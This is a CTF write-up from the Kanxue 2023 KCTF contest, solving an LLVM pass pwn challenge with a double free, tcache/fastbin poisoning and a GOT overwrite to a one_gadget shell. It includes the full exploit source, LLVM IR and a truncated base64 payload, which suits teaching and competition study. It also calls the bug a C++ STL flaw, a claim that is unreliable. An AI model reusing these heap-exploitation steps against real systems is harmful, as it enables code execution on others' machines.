看雪2023 KCTF年度赛 | 第四题设计思路及解析

WriteUp 8个月前 admin
129 0 0

看雪2023 KCTF年度赛 | 第四题设计思路及解析

这是一场人类与超智能AI的“生死”较量

请立刻集结,搭乘SpaceX,前往AI控制空间站

智慧博弈  谁能问鼎


看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。

*注意:签到题持续开放,整个比赛期间均可提交答案获得积分


今天中午12:00第四题《AI控制空间站》已截止答题,该题持续了4天,全程无一人攻破此题。看来此题难度颇高那么一起来看下该题的设计思路和解析吧。


出题团队简介


出题战队:SU Team

战队成员:winmt、Helenccz、予柒、imlk、bj777


看雪2023 KCTF年度赛 | 第四题设计思路及解析

设计思路



题目概述


本题是一道LLVM PASS PWN的题目,重点考察了C++ STL中本身存在的一个漏洞,可导致double free的产生。结合glibc堆以及LLVMopt中的相关特性可完成漏洞的利用,最终在不同的内核环境中寻找一条共同的劫持链,可拿到稳定的远程shell

附件中的漏洞模块VecPass.so文件并没有去符号表,本着想让各位师傅集中精力在漏洞的发掘和利用上的意图,希望各位师傅能够玩得开心。
LLVM PASS PWN的基础以及调试方法等内容可参考笔者之前写的文章:https://bbs.kanxue.com/thread-274259.htm

逆向分析


在本题所给的附件中,optLLVM的优化器和分析器,其版本是Ubuntu LLVM version 14.0.0libc对应的版本是Ubuntu GLIBC 2.35-0ubuntu3.1。而漏洞存在于自定义的LLVM PASS模块VecPass.so中,故我们需要对其进行逆向分析。

寻找PASS注册名


_cxx_global_var_init_10中,可以找到这个自定义LLVM PASS模块的PASS注册名为winmt,以及一个彩蛋(笑。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

因此,需要使用opt -load ./VecPass.so -winmt ./exp.ll -enable-new-pm=0 -f命令加载模块并启动LLVM的优化分析(注意新版需要加-enable-new-pm=0,至于-f选项也可以不加,不影响后续利用)。

定位runOnFunction函数


定位到vtable虚表,即可找到重写的runOnFunction函数:

看雪2023 KCTF年度赛 | 第四题设计思路及解析


runOnFunction函数分析


runOnFunction函数中,先关闭了标准报错,然后将numnm两个变量清零。接着,获取了当前处理的函数名,并将其全部转为大写字母,只有结果为KCTF才能进行后续操作。简单来说,就是只处理函数名的大写为KCTF的所有函数

看雪2023 KCTF年度赛 | 第四题设计思路及解析

满足了上述要求后,设置标记变量sign0,并调用run函数进一步对当前函数中的指令进行解析操作。只有当run函数的返回值为1的时候,才会跳出while循环,代表对该函数的处理结束。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


run函数的预处理


这里我对几个局部变量重命名了,index代表vector中的编号,del_times代表删除的次数,total_times代表之后的createdelete总操作次数,初始的时候index-1del_times0total_times0。然后会实例化15ChunkInfo类的对象,并依次push_back放入C++ STL Vector中。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

再往下看,可以看到仅当命令的操作符编号为56号,即Call操作符的时候(从/usr/include/llvm-xx/llvm/IR/Instruction.def中可查到),才会跳出循环进一步解析处理。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

接着就是对于Call操作符调用的不同函数及参数做不同的解析处理了。

恢复ChunkInfo类


结合下面的create等操作,很容易恢复出ChunkInfo的成员变量如下:

看雪2023 KCTF年度赛 | 第四题设计思路及解析

其中,size是堆块大小,buf指向申请分配的堆块区域。

ChunkInfo类的构造函数ChunkInfo::ChunkInfo()如下,初始化清零操作:

看雪2023 KCTF年度赛 | 第四题设计思路及解析

ChunkInfo类的析构函数ChunkInfo::~ChunkInfo如下,对堆块进行释放:

看雪2023 KCTF年度赛 | 第四题设计思路及解析

这里的析构函数虽然很常规,但是很重要,是漏洞出现的关键,后文会具体分析。

create操作


若调用的是create函数,则需要有两个参数(这里getNumOperands的值需要为3是因为算上了被调用者)。然后,当前total_times(创建和删除总操作次数)不得超过15。此外,还需要indexdel_times的和小于14,即仍存在的和已删除的vector中元素的数量和,确保vector不溢出。

先通过llvm::isa<llvm::ConstantInt,llvm::Value *>判断参数是否为常数,再用getArgOperand(xxx, 0)getZExtValue获取create函数的第一个参数值,即堆块可用区域的大小,范围是[0x10, 0x100)

然后,根据第一个参数的堆块大小值申请相应的堆块,存放入vector中的下一个未使用对象的buf指针中。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

create函数的第二个参数可以是0/1/2,若为0则不进行任何操作,若为1则将申请的堆块(buf指针指向的地址)中的前八个字节给全局变量num,若为2则相反地将num的值赋给堆块的前八个字节。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


remake操作


remake操作受标记变量sign控制,每个KCTF函数只能调用一次remake函数可以有三个参数,其中第一个参数代表着vector中需要重置的对象编号,后面两个参数和create操作相同。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


delete操作


delete函数仅有一个参数,代表着需要删除的vector中的对象编号。此外,当前total_times(创建和删除总操作次数)不得超过15次才能执行delete操作

循环vector的迭代器,找到对应编号的vector元素,先将此对象中的sizebuf变量清空,再用erase直接对这个vector元素进行删除处理

看雪2023 KCTF年度赛 | 第四题设计思路及解析

最后,index编号减一,del_times删除次数加一。

加减运算操作


加减运算addsub操作都只有一个参数,代表全局变量num所需加减的值。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


位运算操作


位运算操作有and/or/xor三种,在做位运算操作前都需要num只取后四个字节。根据传入的单一参数值,位运算分为两种:将全局变量numnm进行相应位运算操作和与传入的参数值进行位运算操作。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


swap操作


swap操作无参数,但受全局变量used控制,整个程序执行过程中只能调用一次

swap操作会将全局变量numnm的值相互交换。

看雪2023 KCTF年度赛 | 第四题设计思路及解析


end操作


end操作无参数,会返回1,使得跳出runOnFunction中的while循环,表示该KCTF函数处理完成。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

此外,若是其他未定义操作,则返回0,并将instIter往后移动一位,再次重新调用run函数,接着当前指令之后继续解析处理。

C++ STL 中的一个漏洞


根据上述逆向分析的过程,本题乍一看没有明显的漏洞,但是注意其中使用了C++ STLvector容器。在delete操作中,在对某个对象删除的时候会将对应的vector元素用erase直接删除掉。

源码分析


我们来看C++ STLvector容器的erase操作删除单个元素时的源码:

iterator erase(iterator position)
{
if (position + 1 != end())
copy(position + 1, finish, position);
--finish;
destroy(finish);
return position;
}

其中,copy(first, last, result)函数会将区间[first, last)内的元素复制到[result, result+(last-first))区间内。然后将finish位置往前移动一位。

需要特别注意的是此处的destroy(finish)语句,destroy函数会将对应指针所指的元素析构掉。因此,此处执行的析构函数是当前vector中最后一个元素的,而并非被删除的元素的!

例如,原本vector中存在五个元素1 2 3 4 5,现在删除3号元素,那么此时vector中的元素变为1 2 4 5 (5)size变为4,但是最后一个5号元素的空间仍存在。然后将会调用现有的1 2 4 5中最后的5号元素的析构函数。

漏洞分析


这里的写法是非常奇怪的,按照本题的析构函数,对vector中最后一个元素析构,其中的堆块会被释放掉,然而vector中最后一个元素仍保留在容器中,当vector容器被销毁时,会从左到右依次执行每个元素的析构函数,此时最后一个元素的堆块会被释放两次,就可能造成double free,笔者认为这是C++ STL中残留的一个漏洞。

本题中vectorrun函数中局部定义的,run函数返回时会销毁。首先先初始化了15个对象,其中buf指向NULL,依次压入了vector中。若是没有用create操作将vector填满,即使erase删除,析构的最后一个元素中对象的buf指针是NULL,并不会造成double free。因此,我们需要先将15vector中对象的堆块指针分配填满,这样就可以构造出double free了。

漏洞利用


构造double free


由于本题的环境是libc-2.35tcache chunk中会有key字段来标记该堆块是否已经存在于tcache list中。因此,我们不能直接在tcache listdouble free,而fastbin中只会检测相邻的两个堆块是否一样,可用A->B->A的方式绕过,故可采用fastbin reverse into tcache的方式。简单来说,就是由于stashing机制,当tcache list中有空余位置的时候,若申请到fastbin中的堆块,则会将fastbin中之后的堆块甩入tcache list至满。因此,如果此时tcache list全被取出为空,fastbin中堆块是A->B->A,那么申请出A堆块,并在next指针写入target_addr,那么之后tcache list中将有三个元素B->A->target_addr,继而可申请出target_addr任意地址写。

对于本题来说,createdelete操作一共最多只有16次机会,而根据上文分析,我们需要将create填满,这需要15次操作,那么最后只能delete操作1次。然而,可以注意到vector是定义在run函数中的局部容器,在run函数返回后,vector容器会被销毁,届时将会从左至右依次执行其中每个对象的析构函数,即堆块会被依次释放。不难想到,可以先通过erase释放最后一个元素的堆块,再通过每个KCTF函数唯一一次的remake操作机会将其申请回来,这样vector中就会有两个相同的堆块,并使其前面有七个同样大小的堆块,两个相同的堆块之间间隔一个堆块。最后,在vector容器销毁的时候,tcache list将被填满,fastbin中也会出现double free的相同堆块。

此部分的参考构造方式如下:

create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6

create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12

create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();

需要注意的是,这里最后调用的是一个未定义函数ret(),而并未用end(),这是因为若是end()则会重新调用runOnFunction到下一个大写后是KCTF的函数,这个过程中涉及到了大堆块分配与释放的操作,会产生malloc_consolidate使fastbin中的堆块合并或下放,而此时fastbin list中存在double free的非法情况,会造成报错处理。因此,我们使用未定义函数ret(),使得接下来重新调用run()函数继续对该函数中的指令解析处理。

劫持opt中的got表


在有了double free可任意地址写以后,加上create的第二个参数,我们可以实现对堆块读取或写入数值,从而进行劫持。这里的劫持是需要修改tcachenext指针,由于glibc 2.35存在safe-linking机制,需要修改的值与tcache堆块地址右移12位得到的key相异或写入。这里的key只需要读取tcache list末尾chunknext指针(与0异或)即可得到。异或操作的运算也是有的,不过在进行位运算之前会将存储的数值num只取后四个字节,这就意味着我们不能劫持到如类似libc这样的长地址

由于我们的模块VecPass.so是由opt加载的,opt是没有地址随机化PIE保护的,且got表也是可写的。故可以对optgot表进行劫持,这是一个短地址,在四字节以内,满足要求。

看雪2023 KCTF年度赛 | 第四题设计思路及解析

那该劫持opt的哪一个got表呢?显然是得劫持runOnFunction函数全部处理结束后走到的plt表对应的got表。那么我们也就需要找到调用runOnFunction函数的最上层入口。

根据调试的栈回溯信息,很容易找到runOnFunction函数的最上层入口是位于0x434686位置的call llvm::legacy::PassManager::run(llvm::Module&)@plt
看雪2023 KCTF年度赛 | 第四题设计思路及解析

我们ni跳过后,后面所调用的plt表对应的got表都是可以劫持的,结合one_gadget的相关条件,很遗憾对所有可劫持的got表都没有直接能满足条件的one_gadget。不过,我们可以再进行一次任意地址的劫持,使得one_gadget满足条件,具体操作在下一节说明。

此处,笔者劫持的是llvm::Module::~Module()@plt对应的got表(地址为0x4476A0),并将其改为位于libc基地址偏移0xebdb3处的one_gadget(具体的劫持方法不唯一,但思路都应该一致)。

看雪2023 KCTF年度赛 | 第四题设计思路及解析
看雪2023 KCTF年度赛 | 第四题设计思路及解析

参考的劫持思路如下:

create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();

此处通过create(0x60, 1)unsorted bin中分割出堆块,获得libc地址。需要说明的是其中的两次delete操作:第一个delete(7)是因为此时的7号堆块是double free的堆块,与之后的9号堆块相同,若这里不删除,又会造成二次double free,最后end()返回后就会出现报错,具体原因上文已经说明了;第二个delete(10)是因为此时10号堆块中存放的是非法堆块地址,若不删除的话,之后vector销毁后析构的时候会报错,而此处用erase删除并不会触发此堆块对应的析构函数,并且之前已经将buf指针清空,不会出问题。

二次劫持


按照笔者的做法,目前对llvm::Module::~Module()@got.plt劫持后的执行情况如下:

0x4168e0 <llvm::Module::~Module()@plt> jmp qword ptr [rip + 0x30dba] <execvpe+1331>

0x7ffff0eebdb3 <execvpe+1331> lea r10, [rbp - 0x50]
0x7ffff0eebdb7 <execvpe+1335> mov qword ptr [rbp - 0x50], rax
0x7ffff0eebdbb <execvpe+1339> jmp execvpe+1129 <execvpe+1129>

0x7ffff0eebce9 <execvpe+1129> mov qword ptr [r10 + 0x10], 0
0x7ffff0eebcf1 <execvpe+1137> mov rdx, qword ptr [rbp - 0x70]
0x7ffff0eebcf5 <execvpe+1141> mov rsi, r10
0x7ffff0eebcf8 <execvpe+1144> lea rdi, [rip + 0xec999]
0x7ffff0eebcff <execvpe+1151> mov qword ptr [rbp - 0x78], r9
0x7ffff0eebd03 <execvpe+1155> call execve <execve>

此时,由于rax=0,是满足[rbp-0x50] == NULL的条件的,但并不满足[[rbp-0x70]] == NULL || [rbp-0x70] == NULL的条件。不过,调试可知,此时[rbp-0x70]中存放的是一个堆块地址,并且opt执行的时候堆区地址比较特殊,只有三个字节,故我们是可以劫持到这个堆块地址(后文称为目标堆地址)并将其中的值改为0

看雪2023 KCTF年度赛 | 第四题设计思路及解析

二次劫持的构造double free的部分和上文一致,只需要换个堆块大小就行了,这里也就不再赘述了。由于目标堆地址是未知的,我们需要先从tcache/fastbin中读取出一个异或加密后的堆地址并用key异或还原(或者是从smallbin中直接读取),再通过得到的堆地址加减偏移得到目标堆地址,然后再用key异或后写入double free的堆块的fd/next指针中。由上述过程可知,我们需要先将safe-linking异或加解密用的key通过swap操作机会存到全局变量nm中,且由于只有一次swap的机会,如果需要有解密过程,加密过程和解密过程使用的key最好是同一个或者是只有最后一位不同(解密的时候可用and将最后一位置零)。

寻找稳定的劫持链


我们需要获得某个堆块地址,再加减上相应的偏移得到目标堆地址。这里看似堆块地址的选取是比较自由的,其实不然。通过实际测试,表明opt程序在加载LLVM PASS模块运行的过程中受内核环境的影响较大,同样的操作在不同内核环境下的堆栈布局是有差别的。因此,在A内核环境下计算的某堆块地址与目标堆块地址的偏移与B内核环境下极有可能是不同的。

由于docker和主机是共享内核的,我们并不知道远程环境的内核版本是多少,因此我们需要在本地搭建两个不同的内核环境(最好版本相差较大),并寻找到一条共同的劫持链,这条劫持链大概率就是稳定的

根据笔者的尝试,找到了如下的一条稳定可行的劫持链:

create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();

此时的堆块布局如下:

看雪2023 KCTF年度赛 | 第四题设计思路及解析

先申请出0x70tcache,得到key0x4f3,再申请出0x60的堆块,通过异或解密出其next指针的堆地址为0x4f32f0,由于笔者是直接用gdb调试的,没有aslr,由上文截图中可知目标堆块的地址为0x5041a0,相差的偏移为0x10eb0,最后再将得到的目标堆块地址通过同样的key异或加密后写入fastbindouble free0x4f3670fd/next指针,最终由fastbin reverse into tcache即可完成二次劫持,将目标堆块置零,满足one_gadget的条件。
上述劫持链在笔者测试的不同内核环境中均是稳定的。

exp


参考的完整exp脚本如下:

void create(unsigned int size, unsigned int choice);
void remake(unsigned int index, unsigned int size, unsigned int choice);
void delete(unsigned int index);
void add(unsigned int val);
void sub(unsigned int val);
void and(unsigned int val);
void or(unsigned int val);
void xor(unsigned int val);
void swap();
void ret();
void end();

void KCTF()
{
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6

create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12

create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();

create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();
}

void kctf()
{
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6

create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12

create(0x70, 0); // 13
create(0x70, 0); // 14
delete(8);
remake(11, 0x70, 0);
ret();

create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();
}

通过clang -emit-llvm -S exp.c -o exp.ll命令编译得到的exp.ll如下:

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @KCTF() #0 {
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @delete(i32 noundef 8)
call void @remake(i32 noundef 11, i32 noundef 80, i32 noundef 0)
call void (...) @ret()
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 1)
call void @xor(i32 noundef 4486816)
call void @create(i32 noundef 80, i32 noundef 2)
call void @delete(i32 noundef 7)
call void @create(i32 noundef 96, i32 noundef 1)
call void @sub(i32 noundef 2202848)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @add(i32 noundef 966067)
call void @create(i32 noundef 80, i32 noundef 2)
call void @delete(i32 noundef 10)
call void (...) @end()
ret void
}

declare void @create(i32 noundef, i32 noundef) #1

declare void @delete(i32 noundef) #1

declare void @remake(i32 noundef, i32 noundef, i32 noundef) #1

declare void @ret(...) #1

declare void @xor(i32 noundef) #1

declare void @sub(i32 noundef) #1

declare void @add(i32 noundef) #1

declare void @end(...) #1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @kctf() #0 {
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @delete(i32 noundef 8)
call void @remake(i32 noundef 11, i32 noundef 112, i32 noundef 0)
call void (...) @ret()
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 96, i32 noundef 1)
call void (...) @swap()
call void @create(i32 noundef 80, i32 noundef 1)
call void @xor(i32 noundef 0)
call void @add(i32 noundef 69296)
call void @xor(i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 2)
call void @delete(i32 noundef 9)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @and(i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 2)
call void @delete(i32 noundef 11)
call void (...) @end()
ret void
}

declare void @swap(...) #1

declare void @and(i32 noundef) #1

attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"Ubuntu clang version 14.0.0-1ubuntu1"}

将上面的exp.ll使用base64编码后发送给远程server(最后以单独一行END结尾):

Please enter the base64 encrypted exp.ll file (end with "END" in a separate line) :
OyBNb2R1bGVJRCA9ICdleHAuYycKc291cmNlX2ZpbGVuYW1lID0gImV4cC5jIgp0YXJnZXQgZGF0
YWxheW91dCA9ICJlLW06ZS1wMjcwOjMyOjMyLXAyNzE6MzI6MzItcDI3Mjo2NDo2NC1pNjQ6NjQt
ZjgwOjEyOC1uODoxNjozMjo2NC1TMTI4Igp0YXJnZXQgdHJpcGxlID0gIng4Nl82NC1wYy1saW51
eC1nbnUiCgo7IEZ1bmN0aW9uIEF0dHJzOiBub2lubGluZSBub3Vud2luZCBvcHRub25lIHV3dGFi
bGUKZGVmaW5lIGRzb19sb2NhbCB2b2lkIEBLQ1RGKCkgIzAgewogIGNhbGwgdm9pZCBAY3JlYXRl
KGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBu
b3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVm
IDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBp
MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAw
KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNh
bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
YXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3Vu
ZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2
LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIg
bm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRl
ZiAwKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDgpCiAgY2FsbCB2b2lkIEByZW1h
a2UoaTMyIG5vdW5kZWYgMTEsIGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
dm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
ZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkK
ICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxs
IHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0
ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91
bmRlZiA0NDg2ODE2KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
bmRlZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDcpCiAgY2FsbCB2b2lkIEBj
cmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVmIDEpCiAgY2FsbCB2b2lkIEBzdWIoaTMy
IG5vdW5kZWYgMjIwMjg0OCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
ZWYgMCkKICBjYWxsIHZvaWQgQGFkZChpMzIgbm91bmRlZiA5NjYwNjcpCiAgY2FsbCB2b2lkIEBj
cmVhdGUoaTMyIG5vdW5kZWYgODAsIGkzMiBub3VuZGVmIDIpCiAgY2FsbCB2b2lkIEBkZWxldGUo
aTMyIG5vdW5kZWYgMTApCiAgY2FsbCB2b2lkICguLi4pIEBlbmQoKQogIHJldCB2b2lkCn0KCmRl
Y2xhcmUgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUg
dm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEByZW1ha2UoaTMyIG5v
dW5kZWYsIGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUgdm9pZCBAcmV0KC4u
LikgIzEKCmRlY2xhcmUgdm9pZCBAeG9yKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEBz
dWIoaTMyIG5vdW5kZWYpICMxCgpkZWNsYXJlIHZvaWQgQGFkZChpMzIgbm91bmRlZikgIzEKCmRl
Y2xhcmUgdm9pZCBAZW5kKC4uLikgIzEKCjsgRnVuY3Rpb24gQXR0cnM6IG5vaW5saW5lIG5vdW53
aW5kIG9wdG5vbmUgdXd0YWJsZQpkZWZpbmUgZHNvX2xvY2FsIHZvaWQgQGtjdGYoKSAjMCB7CiAg
Y2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
dm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBp
